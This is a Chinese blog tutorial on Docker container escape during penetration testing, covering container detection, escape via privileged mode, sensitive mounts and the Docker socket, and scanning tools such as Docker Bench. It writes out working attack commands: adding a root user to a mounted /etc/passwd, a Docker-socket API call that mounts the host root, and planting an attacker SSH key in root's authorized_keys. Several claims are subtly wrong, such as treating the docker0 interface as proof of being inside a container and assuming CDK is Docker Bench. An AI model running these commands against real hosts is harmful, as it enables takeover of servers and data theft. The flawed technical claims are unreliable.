当前位置: 首页 > article >正文

内网渗透技术 Docker逃逸技术(提权)研究 CSMSF

目录

如何通过上传的webshell判断当前环境是否是物理环境还是Docker环境

方法一:检查文件系统

方法二:查看进程

方法三:检查网络配置

方法四:检查环境变量

方法五:检查挂载点

总结

2. 如果是Docker环境,是否和正常的物理环境一样进行后渗透测试工作

是否一样

Docker环境与物理环境的区别

调整后的渗透测试策略

总结

3. Docker服务器有什么特点?对渗透测试及内网渗透横向扩展有什么影响

Docker服务器的特点

对渗透测试的影响

对内网渗透横向扩展的影响

总结

4. 网络安全及内网渗透中Docker逃逸的相关问题

Docker逃逸是什么

目的是什么

什么情况下使用

什么情况下逃逸会成功

总结

5. 实际案例:网络安全中的Docker逃逸

场景

步骤

相关配置

银行项目组的影响

总结

6. Docker逃逸的手法及实际案例

手法一:挂载宿主机文件系统

手法二:特权模式

手法三:共享网络命名空间

手法四:漏洞利用(Docker Socket)

手法五:内核漏洞

总结

7. Docker不安全配置扫描工具及关联

常见工具

与Docker的关联

总结

8. CDK(假设为Docker Bench)的不安全扫描使用方式及案例

假设CDK为Docker Bench for Security

实际案例

总结

9. 将物理根目录挂载到Docker后,如何利用SSH密钥控制物理机

步骤

总结

综合总结:内网渗透中的Docker逃逸手法


如何通过上传的webshell判断当前环境是否是物理环境还是Docker环境

当通过webshell成功进入目标系统后,我们需要判断当前运行环境是物理机还是Docker容器。

以下是具体方法和步骤:

方法一:检查文件系统
  • 原理:Docker容器的文件系统通常是只读的,或者具有特定的挂载点,而物理机的文件系统则没有这些限制。

  • 操作

    • 执行命令:cat /proc/1/cgroup

    • 判断依据

      • 如果输出中包含dockerkubepods等字样,说明当前环境是Docker容器。

      • 如果没有这些关键字,通常是物理环境。

  • 示例

    /proc/1/cgroup 输出:
    11:perf_event:/docker/1234567890abcdef

    其中docker表明这是一个Docker容器。

方法二:查看进程
  • 原理:Docker容器中

    • 进程ID为1的进程通常是容器的初始化进程(init)

    • 而物理机中PID为1的进程是系统的init进程(如systemd)

  • 操作

    • 执行命令:ps aux | grep init

    • 判断依据

      • 如果PID为1的进程是/sbin/initsystemd,则可能是物理环境。

      • 如果是其他轻量级进程(如bash、sh或用户定义的进程),则可能是Docker容器。

  • 示例

    root         1  0.0  0.1  12345  6789 ?        Ss   00:00   /bin/bash

    这种情况下,PID 1是bash,说明是Docker容器。

方法三:检查网络配置
  • 原理:Docker容器有独立的网络栈,通常使用桥接网络(如docker0),而物理机没有这些特定接口。

  • 操作

    • 执行命令:ip aifconfig

    • 判断依据

      • 如果看到docker0或类似桥接接口,说明是Docker环境。

      • 如果仅看到物理网卡(如eth0),则可能是物理环境。

  • 示例

    2: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN

    存在docker0,表明是Docker环境。

方法四:检查环境变量
  • 原理:某些Docker容器会设置特定的环境变量,而物理机通常没有。

  • 操作

    • 执行命令:env

    • 判断依据

      • 如果看到DOCKER_CONTAINER或类似变量,说明是Docker环境。

  • 示例

    DOCKER_CONTAINER=true

    表明当前是Docker容器。

方法五:检查挂载点
  • 原理:Docker容器有特定的挂载点(如/var/lib/docker),物理机没有这些。

  • 操作

    • 执行命令:mount

    • 判断依据

      • 如果看到/var/lib/docker或类似挂载点,说明是Docker环境。

  • 示例

    overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/...)

    表明是Docker容器。

方法六:检查文件系统特征

  • 查看根目录下是否存在 .dockerenv/run/.containerenv,这是Docker容器的标记文件。

  • 检查 /proc/1/cgroup 文件内容,若包含 dockerk8s 或容器ID,则为容器环境。

  • 执行 mount | grep overlay,容器通常使用 overlayaufs 作为存储驱动。

总结

通过以上方法,从文件系统、进程、网络、环境变量和挂载点五个方面检查,结合多方面证据,可以准确判断当前环境是物理机还是Docker容器。通常只需执行cat /proc/1/cgroup即可快速得出结论。


2. 如果是Docker环境,是否和正常的物理环境一样进行后渗透测试工作

是否一样
  • 答案:不完全一样。

  • 原因:Docker环境与物理环境在资源、网络、文件系统和权限等方面存在显著差异,因此后渗透测试需要根据Docker的特性进行调整。

Docker环境与物理环境的区别
  1. 资源限制

    • Docker容器通常有CPU、内存和磁盘的限制,可能导致某些渗透测试工具(如爆破工具)运行受限。

    • 物理机通常资源更充足。

  2. 网络隔离

    • Docker容器使用独立的网络命名空间,默认无法直接访问宿主机或其他容器的网络。

    • 物理机可以直接访问网络资源。

  3. 文件系统隔离

    • Docker容器的文件系统是隔离的,无法直接访问宿主机的文件。

    • 物理机的文件系统是全局的。

  4. 权限限制

    • Docker容器可能以非root用户运行,权限受限。

    • 物理机上通常更容易获得root权限。

调整后的渗透测试策略
  1. 提权

    • 在Docker容器内,尝试提升权限到root用户。例如,利用容器内的suid程序或漏洞提权。

    • 示例命令:find / -perm -4000 2>/dev/null 查找suid文件。

  2. 突破网络隔离

    • 使用端口转发(如ssh -L)或代理工具(如proxychains),访问宿主机或其他网络资源。

  3. 尝试Docker逃逸:

    • 如果需要更深入渗透,尝试从容器逃逸到宿主机,获取更高权限(详见问题4)。

  4. 工具调整

    • 选择轻量级工具,避免因资源限制导致工具崩溃。

总结
  • 在Docker环境中,后渗透测试不能直接套用物理环境的流程。
  • 需要针对容器的隔离性、资源限制和权限特性,调整策略,必要时进行逃逸操作。

3. Docker服务器有什么特点?对渗透测试及内网渗透横向扩展有什么影响

Docker服务器的特点
  1. 隔离性

    • 文件系统、网络和进程都与宿主机及其他容器隔离。

  2. 轻量级

    • 启动快,资源占用少,基于镜像运行。

  3. 可移植性

    • 容器可以在不同宿主机上运行,配置一致。

对渗透测试的影响
  1. 权限提升难度增加

    • 由于隔离性,攻击者需要突破容器限制才能访问宿主机。

  2. 网络攻击复杂化

    • 容器的网络栈独立,需了解Docker的网络模式(如桥接、主机模式)才能有效攻击。

  3. 工具运行受限

    • 资源限制可能导致某些工具无法正常运行。

对内网渗透横向扩展的影响
  1. 横向扩展受阻

    • 容器之间的隔离使得直接攻击其他容器或宿主机变得困难。

  2. 逃逸需求增加:

    • 要实现横向扩展,往往需要先逃逸到宿主机,控制宿主机后再攻击其他容器或内网主机。

  3. 网络配置依赖

    • 攻击者需利用Docker的网络配置(如共享主机网络)进行横向移动。

总结

Docker服务器的隔离性提高了渗透难度,攻击者需要针对其特点调整策略,尤其是通过逃逸实现横向扩展。


4. 网络安全及内网渗透中Docker逃逸的相关问题

Docker逃逸是什么
  • 定义:Docker逃逸是指从Docker容器内部突破隔离限制,获取宿主机的控制权或访问宿主机的资源。

  • 本质:利用Docker配置漏洞或系统漏洞,打破容器与宿主机的边界。

目的是什么
  • 获取更高的权限,访问宿主机的文件系统、网络或其他资源,从而进行更深入的渗透或攻击。

什么情况下使用
  • 当攻击者已通过webshell或其他方式控制了Docker容器,但权限受限,无法直接影响宿主机或其他容器时。

  • 示例场景:攻击者想从容器内窃取宿主机的敏感数据。

什么情况下逃逸会成功
  1. 配置不当

    • 容器以特权模式运行(--privileged)。

    • 宿主机敏感目录(如//var/run/docker.sock)挂载到容器内。

  2. 漏洞利用

    • Docker daemon漏洞(如未授权访问Docker socket)。

    • 内核漏洞(如Dirty COW)。

  3. 共享资源

    • 容器与宿主机共享网络命名空间(--net=host)或IPC。

总结

Docker逃逸是内网渗透中的高级手法,用于突破容器限制,其成功依赖于目标系统的配置错误或漏洞。


5. 实际案例:网络安全中的Docker逃逸

场景

某银行项目组使用Docker部署应用,开发人员误将宿主机的/etc目录挂载到容器内,导致安全隐患。

步骤
  1. 上传webshell

    • 攻击者通过漏洞(如文件上传漏洞)将webshell上传到容器内。

  2. 发现挂载点

    • 执行ls /mnt/etc,发现这是宿主机的/etc目录。

  3. 修改passwd文件

    • 在容器内执行:

      echo "hacker:x:0:0:hacker:/root:/bin/bash" >> /mnt/etc/passwd

      添加一个root权限用户hacker

  4. 登录宿主机

    • 使用hacker用户通过ssh登录宿主机,控制整个系统。

相关配置
  • Docker运行命令:

    docker run -v /etc:/mnt/etc -d myimage

    -v /etc:/mnt/etc将宿主机的/etc挂载到容器的/mnt/etc

银行项目组的影响
  • 攻击者控制宿主机后,可能窃取银行客户的敏感数据,导致重大安全事故。

总结

此案例展示了配置不当(挂载敏感目录)如何导致Docker逃逸,攻击者利用这一点轻松控制宿主机。


6. Docker逃逸的手法及实际案例

以下是常见的Docker逃逸手法,每种均附带实际案例:

手法一:挂载宿主机文件系统
  • 案例:如问题5所述,银行项目组挂载/etc,攻击者修改passwd逃逸。

  • 步骤:挂载/etc后,添加用户或修改配置文件。

手法二:特权模式
  • 案例:某企业运行容器时使用--privileged

    docker run --privileged -d myimage
  • 步骤

    1. 在容器内执行ls /dev,发现宿主机设备(如磁盘)。

    2. 使用dd命令直接操作宿主机磁盘,写入后门。

手法三:共享网络命名空间
  • 案例:某服务器使用--net=host运行容器:

    docker run --net=host -d myimage
  • 步骤

    1. 在容器内执行ip a,发现宿主机的网络接口。

    2. 发起网络攻击,直接控制宿主机。

手法四:漏洞利用(Docker Socket)
  • 案例:某系统将/var/run/docker.sock挂载到容器:

    docker run -v /var/run/docker.sock:/var/run/docker.sock -d myimage
  • 步骤

    1. 在容器内使用curl访问Docker API:

      curl --unix-socket /var/run/docker.sock http://localhost/containers/create -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"]}'
    2. 创建新容器,挂载宿主机根目录,逃逸成功。

手法五:内核漏洞
  • 案例:利用Dirty COW漏洞(CVE-2016-5195)。

  • 步骤

    1. 在容器内编译漏洞利用代码。

    2. 提权到宿主机root用户。

总结

这些手法利用了配置错误(如特权模式、挂载敏感目录)和漏洞(Docker API、内核),是Docker逃逸的核心手段。


7. Docker不安全配置扫描工具及关联

常见工具
  1. Docker Bench for Security

    • 检查Docker配置安全的脚本。

  2. Clair

    • 扫描Docker镜像中的软件漏洞。

  3. Anchore

    • 分析容器镜像的安全性和配置问题。

  4. Dockle

    • 检查镜像的安全最佳实践。

与Docker的关联
  • 这些工具识别Docker配置中的安全隐患(如特权模式、挂载敏感目录),防止攻击者利用这些问题进行逃逸。

  • 示例:Docker Bench可能报告“容器以特权模式运行”,提示管理员修复。

总结

使用这些工具可以提前发现并修复不安全配置,降低Docker逃逸风险。


8. CDK(假设为Docker Bench)的不安全扫描使用方式及案例

假设CDK为Docker Bench for Security
  • 使用方式

    1. 下载脚本:

      git clone https://github.com/docker/docker-bench-security.git
    2. 运行脚本:

      cd docker-bench-security && sh docker-bench-security.sh
    3. 查看报告:

      • 报告列出配置问题及建议。

实际案例
  • 场景:某企业运行Docker容器。

  • 步骤

    1. 运行脚本后,报告显示:

      [WARN] 1.2.1 - Ensure the container is not running in privileged mode
    2. 检查发现容器使用--privileged运行。

    3. 修复:修改为非特权模式运行。

  • 结果:避免了潜在的逃逸风险。

总结

Docker Bench通过扫描识别不安全配置,帮助管理员加固系统。


9. 将物理根目录挂载到Docker后,如何利用SSH密钥控制物理机

步骤
  1. 挂载根目录

    • Docker运行命令:

      docker run -v /:/host -d myimage

      宿主机根目录挂载到容器的/host

  2. 访问SSH目录

    • 在容器内执行:

      ls /host/root/.ssh/

      检查是否存在authorized_keys

  3. 添加攻击者公钥

    • 执行:

      echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@host" >> /host/root/.ssh/authorized_keys

      将攻击者的公钥追加到文件中。

  4. SSH登录宿主机

    • 在攻击者机器上:

      ssh root@宿主机IP

      使用对应私钥登录。

总结

通过挂载根目录,攻击者可直接修改宿主机的SSH配置,控制物理机。


综合总结:内网渗透中的Docker逃逸手法

  1. 判断环境:通过/proc/1/cgroup、进程、网络等方法区分物理机和Docker。

  2. 渗透调整:Docker环境下需突破隔离,必要时逃逸。

  3. Docker特点:隔离性增加了横向扩展难度。

  4. 逃逸核心:利用配置不当(如特权模式、挂载敏感目录)和漏洞(如Docker Socket、内核漏洞)。

  5. 实际案例:银行挂载/etc导致逃逸,展示了配置错误的严重性。

  6. 工具防护:Docker Bench等工具可提前发现问题。

  7. 控制物理机:挂载根目录后修改SSH密钥是典型手法。

通过以上逻辑,您应能全面理解Docker逃逸的原理、方法及应用场景,在内网渗透中灵活应对Docker环境。


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!


http://www.kler.cn/a/598168.html

相关文章:

  • IDEA批量替换项目下所有文件中的特定内容
  • 监控易运维管理软件:轻松部署,高效运维
  • mysql中的游标是什么?作用是什么?
  • 地理编码/经纬度解析/经纬度地址转换接口如何用JAVA对接
  • 大模型在非小细胞肺癌预测及治疗方案制定中的应用研究报告
  • 算力100问☞第93问:算力资源为何更分散了?
  • 算法-分治
  • Linux内核,内存分布
  • 应用程序安全趋势:左移安全、人工智能和开源恶意软件
  • 游戏引擎学习第176天
  • 修改服务器windows远程桌面默认端口号
  • 2025.03.21首板涨停股票分析
  • 机器学习-聚类模型
  • 一加13T手机三证齐全:骁龙8至尊版小屏机、80W快充
  • 5G智慧工厂专网部署:IPLOOK助力制造业数字化转型
  • 第二届图像处理与人工智能国际学术会议(ICIPAI2025)
  • setenv ethaddr b8:ae:1d:01:00:00失效错误怎么解决❌
  • Python环境安装
  • 2025年03月18日柯莱特(外包宁德)一面前端面试
  • Spring Boot 整合 RabbitMQ:注解声明队列与交换机详解